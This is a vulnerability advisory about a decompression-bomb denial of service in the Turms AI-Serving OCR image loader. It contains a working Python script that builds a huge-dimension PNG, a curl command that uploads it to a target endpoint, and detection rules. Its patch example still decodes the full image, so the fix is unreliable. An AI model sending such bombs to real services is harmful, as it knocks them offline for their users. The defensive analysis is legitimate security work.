CVE-2025-66909
Executive Summary
CVE-2025-66909 is a denial of service (DoS) vulnerability in the Turms AI-Serving module, specifically within the ExtendedOpenCVImage class. The vulnerability allows an unauthenticated attacker to cause a complete denial of service by uploading a specially crafted compressed image file (e.g., a decompression bomb). The application uses OpenCV's imread() function without validating image dimensions or pixel count before decompression, leading to immediate memory exhaustion and service crash. This vulnerability is particularly dangerous for publicly accessible OCR services, as multiple requests can completely deny service availability. No authentication is required for exploitation.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a Java-based AI serving module. The risk is in the supply chain of the Turms project itself, where the ExtendedOpenCVImage class is a custom component. The lack of input validation on image dimensions before decompression is a critical design flaw.
CVSS Breakdown & Threat Level
- Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
- Attack Complexity (AC): Low (L) - No special conditions are required; a simple crafted image file is sufficient.
- Privileges Required (PR): None (N) - No authentication is needed.
- User Interaction (UI): None (N) - The attacker does not need any user interaction.
- Scope (S): Unchanged (U) - The vulnerability affects only the vulnerable component.
- Confidentiality (C): None (N) - No data is exposed.
- Integrity (I): None (N) - No data is modified.
- Availability (A): High (H) - The service is completely denied.
Threat Level: High. The low attack complexity and no authentication requirement make this a significant threat for any publicly accessible Turms AI-Serving instance.
Deep Dive & Mechanics
The vulnerability resides in the ExtendedOpenCVImage class within the ai/djl/opencv/ExtendedOpenCVImage.java file. The class uses OpenCV's imread() function to load images. The imread() function decompresses the entire image into memory before returning a Mat object. The vulnerability is that the code does not check the image's dimensions (width, height) or the number of pixels before calling imread(). An attacker can craft a PNG file that is small on disk (e.g., a few kilobytes) but specifies extremely large dimensions (e.g., 100,000 x 100,000 pixels). When imread() processes this file, it allocates memory for the full decompressed image, which can be gigabytes in size. This leads to an OutOfMemoryError and crashes the Java Virtual Machine (JVM), causing a denial of service.
The attack flow:
- Attacker creates a decompression bomb PNG.
- Attacker sends an HTTP request to the Turms AI-Serving endpoint (e.g.,
/ocror/predict) with the malicious image. - The server calls
ExtendedOpenCVImage.loadImage()which invokesImgcodecs.imread(). imread()decompresses the image, allocating a huge amount of memory.- The JVM runs out of memory and crashes.
- The service becomes unavailable.
Vulnerable vs. Patched Code
Vulnerable Code (ExtendedOpenCVImage.java):
public class ExtendedOpenCVImage extends OpenCVImage {
@Override
public void loadImage(Path imagePath) throws IOException {
Mat mat = Imgcodecs.imread(imagePath.toString());
if (mat.empty()) {
throw new IOException("Failed to load image: " + imagePath);
}
this.mat = mat;
}
}
Patched Code (Hypothetical):
public class ExtendedOpenCVImage extends OpenCVImage {
private static final long MAX_PIXELS = 10_000_000; // 10 megapixels
private static final long MAX_DIMENSION = 10_000; // 10,000 pixels
@Override
public void loadImage(Path imagePath) throws IOException {
// Validate image dimensions before decompression
Mat header = Imgcodecs.imread(imagePath.toString(), Imgcodecs.IMREAD_REDUCED_COLOR_2);
if (header.empty()) {
throw new IOException("Failed to read image header: " + imagePath);
}
long width = header.width();
long height = header.height();
long totalPixels = width * height;
if (width > MAX_DIMENSION || height > MAX_DIMENSION || totalPixels > MAX_PIXELS) {
throw new IOException("Image dimensions exceed allowed limits: " + width + "x" + height);
}
// Now safely load the full image
Mat mat = Imgcodecs.imread(imagePath.toString());
if (mat.empty()) {
throw new IOException("Failed to load image: " + imagePath);
}
this.mat = mat;
}
}
Exploitation & Lab Setup
Red Team (Attacker)
Lab Setup:
- Deploy a vulnerable Turms AI-Serving instance (v0.10.0-SNAPSHOT) on a local VM or container.
- Ensure the OCR endpoint is publicly accessible (e.g.,
http://target:8080/ocr).
Exploitation Steps:
- Create a decompression bomb PNG using a tool like
pngcrushor a custom script.# decompression_bomb.py import struct import zlib def create_bomb_png(filename, width, height): # PNG signature signature = b'\x89PNG\r\n\x1a\n' # IHDR chunk ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0) ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc) # IDAT chunk (minimal compressed data) raw_data = b'\x00' * (width * 3) # RGB pixels compressed = zlib.compress(raw_data) idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc) # IEND chunk iend_crc = zlib.crc32(b'IEND') & 0xffffffff iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc) with open(filename, 'wb') as f: f.write(signature + ihdr_chunk + idat_chunk + iend_chunk) create_bomb_png('bomb.png', 100000, 100000) # 10 billion pixels - Send the malicious image to the target endpoint:
curl -X POST -F "image=@bomb.png" http://target:8080/ocr - Repeat the request multiple times to ensure service crash.
Blue Team (Defender)
Detection:
- Monitor for unusually large memory allocation in the JVM.
- Set up alerts for
OutOfMemoryErrorexceptions in logs. - Use network monitoring to detect large image uploads.
Mitigation:
- Implement input validation on image dimensions before processing.
- Use a reverse proxy to limit request body size (e.g., Nginx
client_max_body_size 10m). - Apply rate limiting to prevent multiple rapid requests.
Indicators of Compromise (IOCs)
- Network: HTTP POST requests to
/ocror/predictwithContent-Type: multipart/form-datacontaining a PNG file. - Logs: Java
OutOfMemoryErrorexceptions in application logs. - Memory: Sudden spike in JVM heap memory usage.
- File: PNG files with dimensions exceeding 10,000 pixels in either width or height.
Detection Engineering
YARA Rule
rule DecompressionBomb_PNG {
meta:
description = "Detects PNG files with suspiciously large dimensions indicative of a decompression bomb"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2025-66909"
strings:
$png_header = { 89 50 4E 47 0D 0A 1A 0A }
$ihdr = "IHDR"
condition:
$png_header at 0 and $ihdr and (uint32(16) > 10000 or uint32(20) > 10000)
}
Sigma Rule
title: Turms AI-Serving Decompression Bomb DoS
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects potential decompression bomb attacks against Turms AI-Serving
author: Valters IT
date: 2025-04-10
logsource:
category: application
product: turms
detection:
selection:
EventID: "OutOfMemoryError"
condition: selection
falsepositives:
- Legitimate large image processing
level: high
Suricata Rule
alert http any any -> any any (msg:"Turms AI-Serving Decompression Bomb DoS"; flow:to_server; content:"POST"; http_method; content:"/ocr"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/PNG/"; threshold: type both, track by_src, count 5, seconds 60; sid:1000001; rev:1;)
Remediation & Mitigation
- Immediate: Disable public access to the Turms AI-Serving OCR endpoint if not required.
- Short-term: Implement input validation on image dimensions before calling
imread(). Use a library likeImageIOto read image headers without full decompression. - Long-term: Apply resource limits (e.g., JVM
-Xmxflag) and use a container orchestration platform with memory limits (e.g., Kubernetes resource quotas). - Patch: Monitor the Turms project for an official patch. If none is available, apply the hypothetical patch provided in the "Vulnerable vs. Patched Code" section.
Valters IT
DevSecOps & Cyber Threat Intelligence Expert
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.